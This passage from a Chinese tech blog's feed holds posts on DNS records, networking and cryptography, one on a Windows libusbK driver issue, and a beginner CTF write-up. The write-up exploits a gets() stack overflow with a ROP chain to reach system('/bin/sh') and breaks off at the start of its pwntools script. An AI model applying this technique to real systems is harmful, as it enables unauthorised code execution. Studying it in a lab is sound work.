(可能用于支持论坛或文档)</li><li><code>api.example.com</code> (可能用于应用程序接口)</li><li><code>mail.example.com</code> (可能用于邮件服务)</li></ul><p>甚至可以是多级的子域名，如 <code>staging.admin.example.com</code>。</p><p><strong>核心关系</strong>：</p><ul><li><strong>层级关系</strong>：子域名是主域名的一部分，从属于主域名。你必须先拥有主域名，才能创建其子域名。</li><li><strong>逻辑分区</strong>：子域名允许你将一个大的域名空间逻辑地划分为更小、更易于管理的部分。</li><li><strong>独立性 (部分)</strong>：虽然子域名从属于主域名，但它们通常可以被配置为指向不同的服务器、托管不同的内容或提供不同的服务，表现得像独立的网站一样（但它们在域名体系中仍然是主域名下的分支）。</li></ul><h3 id="二、如何管理域名和子域名"><a href="#二、如何管理域名和子域名" class="headerlink" title="二、如何管理域名和子域名"></a>二、如何管理域名和子域名</h3><p>域名和子域名的管理主要通过 <strong>DNS (Domain Name System)</strong> 记录来实现。当你购买了一个域名后，你的域名注册商通常会提供一个DNS管理面板，或者允许你指定使用其他DNS服务商（如 Cloudflare, Amazon Route 53, Google Cloud DNS 等）。</p><p>以下是管理中涉及的关键DNS记录类型：</p><h4 id="A-记录-Address-Record"><a href="#A-记录-Address-Record" class="headerlink" title="A 记录 (Address Record)"></a>A 记录 (Address Record)</h4><p><strong>作用</strong>：将一个域名或子域名直接映射到一个 IPv4 地址。</p><p><strong>示例</strong>：</p><p>example.com IN A 192.0.2.1 ; 主域名指向一个IP<br>blog.example.com IN A 198.51.100.5 ; 子域名 blog 指向另一个IP</p><h4 id="AAAA-记录-IPv6-Address-Record"><a href="#AAAA-记录-IPv6-Address-Record" class="headerlink" title="AAAA 记录 (IPv6 Address Record)"></a>AAAA 记录 (IPv6 Address Record)</h4><p><strong>作用</strong>：将一个域名或子域名直接映射到一个 IPv6 地址。</p><p><strong>示例</strong>：<br>IGNORE_WHEN_COPYING_START<br>content_copy<br>download<br>Use code with caution.<br>IGNORE_WHEN_COPYING_END</p><p>example.com IN AAAA 2001:db8::1</p><h4 id="CNAME-记录-Canonical-Name-Record"><a href="#CNAME-记录-Canonical-Name-Record" class="headerlink" title="CNAME 记录 (Canonical Name Record)"></a>CNAME 记录 (Canonical Name Record)</h4><p><strong>作用</strong>：将一个域名或子域名作为另一个域名的别名。当用户访问这个子域名时，DNS查询会转向被别名的那个域名，并最终解析到那个域名的IP地址。</p><p><strong>注意</strong>：按照标准，主域名 (apex domain &#x2F; root domain，即 <code>example.com</code> 本身) 通常不建议或不允许直接设置CNAME记录（某些现代DNS服务商通过特定技术如CNAME flattening或ALIAS记录绕过此限制），但子域名可以自由使用CNAME。</p><p><strong>示例</strong>：<br>IGNORE_WHEN_COPYING_START<br>content_copy<br>download<br>Use code with caution.<br>IGNORE_WHEN_COPYING_END</p><p><a class="link"   href="http://www.example.com/" >www.example.com<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> IN CNAME example.com ; 将 www 子域名指向主域名<br>shop.example.com IN CNAME some-ecommerce-platform.com ; 将你的商店子域名指向一个SaaS电商平台提供的地址</p><h4 id="MX-记录-Mail-Exchange-Record"><a href="#MX-记录-Mail-Exchange-Record" class="headerlink" title="MX 记录 (Mail Exchange Record)"></a>MX 记录 (Mail Exchange Record)</h4><p><strong>作用</strong>：指定负责处理该域名或子域名电子邮件的邮件服务器。</p><p><strong>示例</strong>：<br>IGNORE_WHEN_COPYING_START<br>content_copy<br>download<br>Use code with caution.<br>IGNORE_WHEN_COPYING_END</p><p>example.com IN MX 10 mail.example.com</p><p>(数字 <code>10</code> 是优先级，数值越小优先级越高)</p><h4 id="TXT-记录-Text-Record"><a href="#TXT-记录-Text-Record" class="headerlink" title="TXT 记录 (Text Record)"></a>TXT 记录 (Text Record)</h4><p><strong>作用</strong>：允许你为域名存储任意文本信息。常用于域名所有权验证 (如Google Search Console, SSL证书验证)、SPF (Sender Policy Framework) 防止邮件欺诈、DKIM (DomainKeys Identified Mail) 邮件签名等。</p><p><strong>示例</strong>：<br>IGNORE_WHEN_COPYING_START<br>content_copy<br>download<br>Use code with caution.<br>IGNORE_WHEN_COPYING_END</p><p>example.com IN TXT “v&#x3D;spf1 include:_spf.google.com ~all”</p><h4 id="SRV-记录-Service-Record"><a href="#SRV-记录-Service-Record" class="headerlink" title="SRV 记录 (Service Record)"></a>SRV 记录 (Service Record)</h4><p><strong>作用</strong>：指定提供特定服务的主机和端口，常用于VoIP、IM等服务。</p><h3 id="三、子域名与服务器的关系"><a href="#三、子域名与服务器的关系" class="headerlink" title="三、子域名与服务器的关系"></a>三、子域名与服务器的关系</h3><p>子域名可以通过以下几种方式与服务器关联：</p><ol><li><p><strong>指向不同的独立服务器</strong>：</p><ul><li>每个子域名（如 <code>blog.example.com</code> 和 <code>shop.example.com</code>）可以分别通过 A 或 AAAA 记录指向不同 IP 地址的独立服务器。</li><li><strong>优点</strong>：资源隔离，独立扩展和维护，某个服务的故障不直接影响其他服务。</li><li><strong>缺点</strong>：可能需要更多的服务器资源和管理成本。</li></ul></li><li><p><strong>指向同一台服务器，不同端口或虚拟主机</strong>：</p><ul><li>多个子域名可以都指向同一个 IP 地址（同一台服务器）。</li><li>服务器通过配置（例如 Web 服务器的虚拟主机配置，或不同端口监听不同服务）来区分和处理来自不同子域名的请求。</li><li><strong>优点</strong>：成本较低，管理相对集中。</li><li><strong>缺点</strong>：所有服务共享服务器资源，高负载时可能相互影响。</li></ul></li><li><p><strong>使用 CNAME 记录指向第三方服务</strong>：</p><ul><li>例如，<code>help.example.com</code> 可能 CNAME 到一个 SaaS 知识库平台提供的域名，或者 <code>email.example.com</code> CNAME 到专业的邮件服务提供商。</li><li><strong>优点</strong>：利用专业的第三方服务，无需自己搭建和维护特定应用。</li><li><strong>缺点</strong>：依赖第三方服务的稳定性和安全性，可能涉及额外费用。</li></ul></li><li><p><strong>指向负载均衡器 (Load Balancer)</strong>：</p><ul><li>子域名（如 <code>app.example.com</code>）通过 A&#x2F;AAAA 记录指向一个负载均衡器的 IP 地址。</li><li>负载均衡器再将流量分发到后端的多台应用服务器。</li><li><strong>优点</strong>：提高服务的可用性、可扩展性和性能。</li><li><strong>缺点</strong>：架构更复杂，需要配置和维护负载均衡器。</li></ul></li></ol><p>最终配置取决于你的具体需求、预算和架构设计。DNS 提供了灵活的解析选项，让你能够根据实际情况进行调整。</p><h2 id="问题三：目前的网络中的核心运行原理？"><a href="#问题三：目前的网络中的核心运行原理？" class="headerlink" title="问题三：目前的网络中的核心运行原理？"></a>问题三：目前的网络中的核心运行原理？</h2><p>我们可以将当今的网络（主要是指互联网）的运行原理概括为基于一套分层协议栈的 <strong>数据包交换网络</strong>。其核心思想和组件包括：</p><h3 id="1-分层模型-Layered-Model-："><a href="#1-分层模型-Layered-Model-：" class="headerlink" title="1.  分层模型 (Layered Model)："></a>1.  <strong>分层模型 (Layered Model)</strong>：</h3><pre><code>*   最著名的是 **TCP/IP 模型** (通常分为应用层、传输层、网络层、链路层，有时也包括物理层)。OSI 七层模型是理论模型，TCP/IP 是实际应用更广泛的模型。*   **分层的好处**：每一层负责特定的功能，上层利用下层提供的服务，而无需关心下层如何实现。这使得网络协议的设计和维护更加模块化和灵活。</code></pre><h3 id="2-数据包交换-Packet-Switching-："><a href="#2-数据包交换-Packet-Switching-：" class="headerlink" title="2.  数据包交换 (Packet Switching)："></a>2.  <strong>数据包交换 (Packet Switching)</strong>：</h3><pre><code>*   数据在发送前被分割成许多小的数据包（Packets）。*   每个数据包都包含头部信息（如源地址、目标地址、序列号等）和实际数据。*   这些数据包可以独立地通过网络的不同路径进行传输，并在目标端重新组装。*   **优点**：高效利用网络带宽，鲁棒性强（部分路径故障不影响整体）。</code></pre><h3 id="3-IP-协议-Internet-Protocol-："><a href="#3-IP-协议-Internet-Protocol-：" class="headerlink" title="3.  IP 协议 (Internet Protocol)："></a>3.  <strong>IP 协议 (Internet Protocol)</strong>：</h3><pre><code>*   工作在网络层，负责将数据包从源主机传送到目标主机。*   它定义了 **IP 地址**，为网络中的每个设备提供唯一的逻辑标识 (如 IPv4, IPv6)。*   IP 协议是 **无连接的** (Connectionless) 和 **不可靠的** (Unreliable)，它只尽力投递数据包，不保证数据包的顺序、不丢失或不损坏。</code></pre><h3 id="4-路由-Routing-："><a href="#4-路由-Routing-：" class="headerlink" title="4.  路由 (Routing)："></a>4.  <strong>路由 (Routing)</strong>：</h3><pre><code>*   网络中的 **路由器 (Routers)** 根据数据包的目标 IP 地址和自身的路由表来决定下一跳将数据包发送到哪里。*   路由协议 (如 BGP, OSPF) 用于在路由器之间交换路由信息，构建和维护路由表，确保数据包能够找到通往目的地的最佳路径。</code></pre><h3 id="5-TCP-协议-Transmission-Control-Protocol-和-UDP-协议-User-Datagram-Protocol-："><a href="#5-TCP-协议-Transmission-Control-Protocol-和-UDP-协议-User-Datagram-Protocol-：" class="headerlink" title="5.  TCP 协议 (Transmission Control Protocol) 和 UDP 协议 (User Datagram Protocol)："></a>5.  <strong>TCP 协议 (Transmission Control Protocol) 和 UDP 协议 (User Datagram Protocol)</strong>：</h3><pre><code>*   工作在传输层，为应用程序提供端到端的通信服务。*   **TCP**：提供 **面向连接的、可靠的** 数据传输。它通过序列号、确认应答 (ACK)、重传机制、流量控制和拥塞控制来保证数据完整、有序地到达。适用于对可靠性要求高的应用，如网页浏览 (HTTP/HTTPS)、文件传输 (FTP)、邮件 (SMTP)。*   **UDP**：提供 **无连接的、不可靠的** 数据传输。它开销小，传输速度快，但不保证数据到达、顺序或完整性。适用于对实时性要求高、能容忍少量丢包的应用，如在线游戏、视频会议、DNS 查询。</code></pre><h3 id="6-域名系统-DNS-Domain-Name-System-："><a href="#6-域名系统-DNS-Domain-Name-System-：" class="headerlink" title="6.  域名系统 (DNS - Domain Name System)："></a>6.  <strong>域名系统 (DNS - Domain Name System)</strong>：</h3><pre><code>*   如问题二所述，DNS 负责将人类易于记忆的域名 (如 `www.example.com`) 解析为机器可识别的 IP 地址。这是用户访问互联网服务的第一步。</code></pre><h3 id="7-应用层协议-Application-Layer-Protocols-："><a href="#7-应用层协议-Application-Layer-Protocols-：" class="headerlink" title="7.  应用层协议 (Application Layer Protocols)："></a>7.  <strong>应用层协议 (Application Layer Protocols)</strong>：</h3><pre><code>*   基于 TCP 或 UDP，定义了特定应用程序之间数据交换的格式和规则。*   例如：HTTP/HTTPS (网页)、FTP (文件传输)、SMTP (邮件发送)、POP3/IMAP (邮件接收)、DNS (域名解析) 等。</code></pre><p><strong>简单来说，当你在浏览器输入一个网址并回车后：</strong></p><ol><li>DNS 解析将域名转换为 IP 地址。</li><li>你的计算机（客户端）与目标服务器通过 TCP 建立连接（三次握手）。</li><li>浏览器通过 HTTP&#x2F;HTTPS 协议向服务器发送请求报文（被封装成 TCP 段，再封装成 IP 包，再封装成链路层帧）。</li><li>这些数据包通过本地网络、路由器，跨越互联网，到达目标服务器。</li><li>服务器处理请求，并将响应数据（如 HTML 页面）以同样的方式打包发送回你的计算机。</li><li>浏览器接收数据包，重新组装，渲染页面。</li><li>通信结束后，TCP 连接关闭（四次挥手）。</li></ol><p>这个过程涉及了各层协议的协同工作，构成了现代互联网的核心运作机制。</p><h2 id="问题四：密码学-如何安全的管理数据？"><a href="#问题四：密码学-如何安全的管理数据？" class="headerlink" title="问题四：密码学 如何安全的管理数据？"></a>问题四：密码学 如何安全的管理数据？</h2><p>密码学是保护信息和通信安全的一门科学和艺术，它提供了一系列技术和方法来确保数据的 <strong>机密性 (Confidentiality)</strong>、<strong>完整性 (Integrity)</strong>、<strong>真实性&#x2F;身份验证 (Authenticity&#x2F;Authentication)</strong> 以及 <strong>不可否认性 (Non-repudiation)</strong>。安全管理数据主要依赖以下密码学核心技术：</p><h3 id="1-加密-Encryption-保护机密性："><a href="#1-加密-Encryption-保护机密性：" class="headerlink" title="1.  加密 (Encryption) - 保护机密性："></a>1.  <strong>加密 (Encryption) - 保护机密性</strong>：</h3><pre><code>*   **对称加密 (Symmetric Encryption)**：    *   **原理**: 加密和解密使用相同的密钥。发送方用密钥加密数据，接收方用同一密钥解密数据。    *   **算法示例**: AES (Advanced Encryption Standard), DES, 3DES, ChaCha20。    *   **优点**: 计算速度快，适合大量数据的加密。    *   **缺点**: 密钥分发和管理是主要挑战，如何在不安全的信道上安全地共享密钥是个问题。    *   **应用**: 磁盘加密、数据库加密、SSL/TLS 中的会话数据加密。*   **非对称加密 (Asymmetric Encryption) / 公钥密码体制**:    *   **原理**: 使用一对密钥：公钥 (Public Key) 和私钥 (Private Key)。公钥可以公开分发，私钥由所有者秘密保管。用公钥加密的数据只能用对应的私钥解密；用私钥签名的数据可以用公钥验证。    *   **算法示例**: RSA, ECC (Elliptic Curve Cryptography), Diffie-Hellman (密钥交换)。    *   **优点**: 解决了对称加密的密钥分发问题。公钥可以自由分发。    *   **缺点**: 计算速度相对较慢，不适合加密大量数据。    *   **应用**: SSL/TLS 中的密钥交换和身份验证、数字签名、安全电子邮件 (PGP/GPG)。</code></pre><h3 id="2-哈希函数-Hash-Functions-保护完整性："><a href="#2-哈希函数-Hash-Functions-保护完整性：" class="headerlink" title="2.  哈希函数 (Hash Functions) - 保护完整性："></a>2.  <strong>哈希函数 (Hash Functions) - 保护完整性</strong>：</h3><pre><code>*   **原理**: 将任意长度的输入数据通过一个单向函数转换为固定长度的输出（哈希值或摘要）。*   **特性**:    *   **单向性**: 从哈希值很难反推出原始数据。    *   **确定性**: 相同的输入总是产生相同的输出。    *   **抗碰撞性**: 很难找到两个不同的输入产生相同的哈希值（强抗碰撞性）；或者很难找到一个与给定输入具有相同哈希值的不同输入（弱抗碰撞性）。    *   **雪崩效应**: 输入的微小改变会导致输出哈希值的巨大变化。*   **算法示例**: SHA-256, SHA-3, MD5 (已不安全，不推荐用于安全性要求高的场景), Blake2。*   **应用**:    *   验证数据完整性（如下载文件后对比哈希值）。    *   安全存储密码（存储密码的哈希值，而不是明文密码，通常会加盐 &quot;salt&quot;）。    *   数字签名（对数据的哈希值进行签名）。    *   区块链。</code></pre><h3 id="3-数字签名-Digital-Signatures-保护真实性、完整性、不可否认性："><a href="#3-数字签名-Digital-Signatures-保护真实性、完整性、不可否认性：" class="headerlink" title="3.  数字签名 (Digital Signatures) - 保护真实性、完整性、不可否认性："></a>3.  <strong>数字签名 (Digital Signatures) - 保护真实性、完整性、不可否认性</strong>：</h3><pre><code>*   **原理**: 结合了非对称加密和哈希函数。    1.  发送方对数据进行哈希运算得到摘要。    2.  发送方用自己的 **私钥** 对摘要进行加密，生成数字签名。    3.  发送方将原始数据和数字签名一起发送给接收方。    4.  接收方收到数据和签名后：        a. 用发送方的 **公钥** 解密数字签名，得到原始摘要A。        b. 对收到的原始数据进行同样的哈希运算，得到摘要B。        c. 比较摘要A和摘要B，如果一致，则数据未被篡改（完整性），且确实来自拥有该私钥的发送方（真实性），发送方不能否认发送过该消息（不可否认性）。*   **应用**: 软件分发（验证软件来源和完整性）、代码签名、法律文件、SSL/TLS 证书。</code></pre><h3 id="4-密钥管理-Key-Management-："><a href="#4-密钥管理-Key-Management-：" class="headerlink" title="4.  密钥管理 (Key Management)："></a>4.  <strong>密钥管理 (Key Management)</strong>：</h3><pre><code>*   这是密码学应用中最关键也最困难的部分。即使加密算法本身再强大，如果密钥泄露或管理不当，整个安全体系也会崩溃。*   **关键方面**:    *   **密钥生成**: 安全地生成足够强度的随机密钥。    *   **密钥存储**: 安全地存储密钥，防止未授权访问（如使用硬件安全模块 HSM、密钥管理系统 KMS）。    *   **密钥分发/交换**: 安全地将密钥传递给授权方（如 Diffie-Hellman 密钥交换协议，或使用非对称加密分发对称密钥）。    *   **密钥使用**: 控制密钥的使用范围和权限。    *   **密钥轮换/更新**: 定期更换密钥，以减少密钥泄露的潜在影响。    *   **密钥销毁/吊销**: 安全地销毁不再需要的密钥，或在密钥泄露时吊销其有效性（如证书吊销列表 CRL）。</code></pre><h3 id="5-协议-Protocols-："><a href="#5-协议-Protocols-：" class="headerlink" title="5.  协议 (Protocols)："></a>5.  <strong>协议 (Protocols)</strong>：</h3><pre><code>*   将上述密码学技术组合起来，形成安全的通信和数据处理协议。*   **示例**: TLS/SSL (安全套接层/传输层安全) 用于保护网络通信，它综合使用了对称加密、非对称加密、哈希函数和数字证书（包含公钥和身份信息，由证书颁发机构 CA 签名）来实现服务器认证、客户端认证（可选）、数据加密和完整性保护。</code></pre><p><strong>总结一下安全管理数据的策略</strong>：</p><ul><li><strong>数据加密</strong>: 对静态数据（存储的数据）和动态数据（传输中的数据）进行加密。</li><li><strong>完整性校验</strong>: 使用哈希函数确保数据在存储或传输过程中未被篡改。</li><li><strong>身份验证</strong>: 通过数字签名或消息认证码 (MAC) 验证数据来源和通信方身份。</li><li><strong>密钥管理</strong>: 实施严格的密钥管理策略和基础设施。</li><li><strong>访问控制</strong>: 确保只有授权用户才能访问敏感数据和密钥。</li><li><strong>安全协议</strong>: 使用成熟的、经过审查的安全协议。</li></ul><p>通过综合运用这些密码学工具和原则，可以大大提高数据管理的安全性。</p><hr><p>IGNORE_WHEN_COPYING_START<br>content_copy<br>download<br>Use code with caution.<br>IGNORE_WHEN_COPYING_END</p>]]>
    </content>
    <id>https://3322888.xyz/2025/05/14/%E6%AF%8F%E5%91%A8%E4%B8%80%E9%97%AE-%E7%AC%AC%E4%B8%80%E6%9C%9F25-3/</id>
    <link href="https://3322888.xyz/2025/05/14/%E6%AF%8F%E5%91%A8%E4%B8%80%E9%97%AE-%E7%AC%AC%E4%B8%80%E6%9C%9F25-3/"/>
    <published>2025-05-14T15:12:51.000Z</published>
    <summary>
      <![CDATA[<p>大家好，欢迎来到新一期的“每周一问”。本期我们继续探讨一些有趣且基础的技术问题。</p>
<h2 id="问题一：Web-语言技术的核心是什么？"><a href="#问题一：Web-语言技术的核心是什么？" class="headerlink" title="问题一：We]]>
    </summary>
    <title>每周一问 第一期25-3</title>
    <updated>2025-05-16T05:16:30.069Z</updated>
  </entry>
  <entry>
    <author>
      <name>Zhuazikun</name>
    </author>
    <category term="windows" scheme="https://3322888.xyz/tags/windows/"/>
    <content>
      <![CDATA[<p>如何你发现你的手机连接不到你的windows电脑，但是你的电脑连接其他手机没问题，而且你手机连接其他电脑没问题，这时候不用怀疑就是连接协议出现了问题！</p><p>问题实例</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">已启动设备 USB\VID_339B&amp;PID_107D\ANYXVB4119005102。</span><br><span class="line"></span><br><span class="line">驱动程序名称: oem79.inf</span><br><span class="line">类 GUID: &#123;ecfb0cfd-74c4-4f52-bbf7-343461cd72ac&#125;</span><br><span class="line">服务: libusbK</span><br><span class="line">低层筛选程序: </span><br><span class="line">高层筛选程序: </span><br></pre></td></tr></table></figure></div><p>连接电脑提示的是Service: libusbK 这条信息表明，你的电脑当前并没有将你的手机识别为标准的 MTP (Media Transfer Protocol) 设备，而是使用了一个名为 libusbK 的通用 USB 驱动程序库来与它通信。</p><p>-很好，只是为什么呢？<br>导致这个原因很常见但是我之前还一直没有注意到，打电话给荣耀的工程师也是没有解决（当然不是特意去问的，主要还是因为Magic OS8的重启Bug，吐槽下荣耀的的售后不咋地）之前还一直以为是驱动的问题</p><div style="width: 40%; margin: 10px"><img                       lazyload                     src="/images/loading.svg"                     data-src="/2025/04/26/window%E7%94%B5%E8%84%91usb%E9%A9%B1%E5%8A%A8%E9%97%AE%E9%A2%98/usb%E9%A9%B1%E5%8A%A8%E9%97%AE%E9%A2%98.jpg"                      class="" title="酷安上提问"                ><img                       lazyload                     src="/images/loading.svg"                     data-src="/2025/04/26/window%E7%94%B5%E8%84%91usb%E9%A9%B1%E5%8A%A8%E9%97%AE%E9%A2%98/%E6%8A%95%E5%B1%8F.png"                      class="" title="投屏"                ></div><p>-解决办法就是手动安装驱动程序，核心就是把libusbK给替换掉，化成正确的MTP驱动</p><p>-Scrcpy<br>顺便提下scrcpy（<a class="link"   href="https://github.com/Genymobile/scrcpy?tab=readme-ov-file%EF%BC%89" >https://github.com/Genymobile/scrcpy?tab=readme-ov-file）<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a><br>一个非常好用的投屏工具</p><p>可以通过USB或者无线局域网让电脑连接到手机</p>]]>
    </content>
    <id>https://3322888.xyz/2025/04/26/window%E7%94%B5%E8%84%91usb%E9%A9%B1%E5%8A%A8%E9%97%AE%E9%A2%98/</id>
    <link href="https://3322888.xyz/2025/04/26/window%E7%94%B5%E8%84%91usb%E9%A9%B1%E5%8A%A8%E9%97%AE%E9%A2%98/"/>
    <published>2025-04-26T13:29:59.000Z</published>
    <summary>
      <![CDATA[<p>如何你发现你的手机连接不到你的windows电脑，但是你的电脑连接其他手机没问题，而且你手机连接其他电脑没问题，这时候不用怀疑就是连接协议出现了问题！</p>
<p>问题实例</p>
<div class="code-container" data-rel="Plainte]]>
    </summary>
    <title>window电脑usb驱动问题</title>
    <updated>2025-04-27T02:00:19.307Z</updated>
  </entry>
  <entry>
    <author>
      <name>Zhuazikun</name>
    </author>
    <content>
      <![CDATA[<h1 id="引言"><a href="#引言" class="headerlink" title="引言"></a>引言</h1><p>在 CTF 竞赛中，PWN（漏洞利用）题目是考验选手逆向分析和漏洞利用能力的重要环节。本文将分析一道简单的 Linux 64 位 PWN 题目，通过栈溢出漏洞构造 ROP 链，最终获取 shell。这篇文章适合 PWN 初学者，旨在展示从逆向分析到利用脚本编写的完整过程。希望通过这篇文章，你能掌握栈溢出的基本原理和利用方法！</p><h1 id="题目背景"><a href="#题目背景" class="headerlink" title="题目背景"></a>题目背景</h1><ul><li>文件：pwnme（64 位 ELF，可执行文件）</li><li>环境：Ubuntu 20.04，关闭 ASLR（echo 0 | sudo tee &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;randomize_va_space）</li><li>保护机制：无 NX、Canary、ASLR、PIE</li><li>目标：通过栈溢出漏洞执行 system(“&#x2F;bin&#x2F;sh”)，获取 shell</li></ul><h1 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h1><h2 id="1-文件检查"><a href="#1-文件检查" class="headerlink" title="1. 文件检查"></a>1. 文件检查</h2><p>使用 file 和 checksec 检查文件：</p><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">$ file pwnme</span><br><span class="line">pwnme: ELF 64-bit LSB executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, <span class="keyword">for</span> GNU/Linux 3.2.0, not stripped</span><br><span class="line"></span><br><span class="line">$ checksec pwnme</span><br><span class="line">[*] <span class="string">&#x27;pwnme&#x27;</span></span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX disabled</span><br><span class="line">    PIE:      No PIE (0x400000)</span><br></pre></td></tr></table></figure></div><p>64 位 ELF 文件，动态链接。<br>无 Canary、NX、PIE，栈可执行，地址固定，适合初学者练习栈溢出。<br>Partial RELRO 表示 GOT 表可写，稍后可能利用。</p><h2 id="2-逆向分析"><a href="#2-逆向分析" class="headerlink" title="2. 逆向分析"></a>2. 逆向分析</h2><p>使用 IDA Pro 打开 pwnme，找到 main 函数：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">char</span> buf[<span class="number">32</span>];</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Welcome to PWN!&quot;</span>);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Input your name: &quot;</span>);</span><br><span class="line">    gets(buf);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Hello, &quot;</span>);</span><br><span class="line">    <span class="built_in">puts</span>(buf);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>gets 函数读取用户输入到 buf（大小 32 字节），无长度限制，存在明显的栈溢出漏洞。<br>buf 位于栈上，溢出可以覆盖返回地址，控制程序流程。</p><p>反汇编 main 函数（部分）：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">.text:0000000000401136 main:</span><br><span class="line">.text:0000000000401136     push    rbp</span><br><span class="line">.text:0000000000401137     mov     rbp, rsp</span><br><span class="line">.text:000000000040113A     sub     rsp, 20h</span><br><span class="line">.text:000000000040113E     lea     rdi, aWelcomeToPwn ; &quot;Welcome to PWN!&quot;</span><br><span class="line">.text:0000000000401145     call    puts</span><br><span class="line">.text:000000000040114A     lea     rdi, aInputYourName ; &quot;Input your name: &quot;</span><br><span class="line">.text:0000000000401151     call    printf</span><br><span class="line">.text:0000000000401156     lea     rax, [rbp-20h]</span><br><span class="line">.text:000000000040115A     mov     rdi, rax</span><br><span class="line">.text:000000000040115D     call    gets</span><br><span class="line">...</span><br><span class="line">.text:0000000000401172     leave</span><br><span class="line">.text:0000000000401173     ret</span><br></pre></td></tr></table></figure></div><p>buf 位于 [rbp-0x20]，大小 32 字节。<br>溢出可以覆盖 rbp 和返回地址（[rbp+0x8]）。</p><h2 id="3-漏洞点"><a href="#3-漏洞点" class="headerlink" title="3. 漏洞点"></a>3. 漏洞点</h2><p>gets 不检查输入长度，输入超过 32 字节即可覆盖栈上的返回地址。<br>由于 NX 禁用，栈可执行，可以直接写入 shellcode；但为了练习 ROP，我们选择构造 ROP 链调用 system(“&#x2F;bin&#x2F;sh”)。</p><h1 id="利用思路"><a href="#利用思路" class="headerlink" title="利用思路"></a>利用思路</h1><h2 id="1-目标"><a href="#1-目标" class="headerlink" title="1. 目标"></a>1. 目标</h2><p>通过栈溢出覆盖返回地址，构造 ROP 链调用 system(“&#x2F;bin&#x2F;sh”)，获取 shell。</p><h2 id="2-关键步骤"><a href="#2-关键步骤" class="headerlink" title="2. 关键步骤"></a>2. 关键步骤</h2><ul><li>泄露 libc 地址：<ul><li>main 函数调用 puts 和 printf，可以通过 GOT 表泄露 puts 的实际地址，计算 libc 基址。</li><li>使用 ROP 调用 puts(puts@got) 输出 puts 地址。</li></ul></li><li>构造 ROP 链：<ul><li>找到 pop rdi; ret gadget，将 &#x2F;bin&#x2F;sh 字符串地址放入 rdi。</li><li>调用 system(“&#x2F;bin&#x2F;sh”) 执行 shell。</li></ul></li><li>栈布局：<ul><li>覆盖返回地址后，栈需要填充 gadget 和参数。</li></ul></li></ul><h2 id="3-内存布局"><a href="#3-内存布局" class="headerlink" title="3. 内存布局"></a>3. 内存布局</h2><p>栈溢出的内存布局如下：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[ buf (32 bytes) ][ saved rbp (8 bytes) ][ saved ret (8 bytes) ]</span><br><span class="line">                   ^                    ^</span><br><span class="line">                   rbp                 rbp+0x8 (覆盖这里)</span><br></pre></td></tr></table></figure></div><p>输入 32 字节填充 buf，8 字节填充 saved rbp，第 41 字节开始覆盖返回地址。</p><h1 id="利用脚本"><a href="#利用脚本" class="headerlink" title="利用脚本"></a>利用脚本</h1><p>以下是使用 pwntools 编写的利用脚本：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置环境</span></span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>, os=<span class="string">&#x27;linux&#x27;</span>, 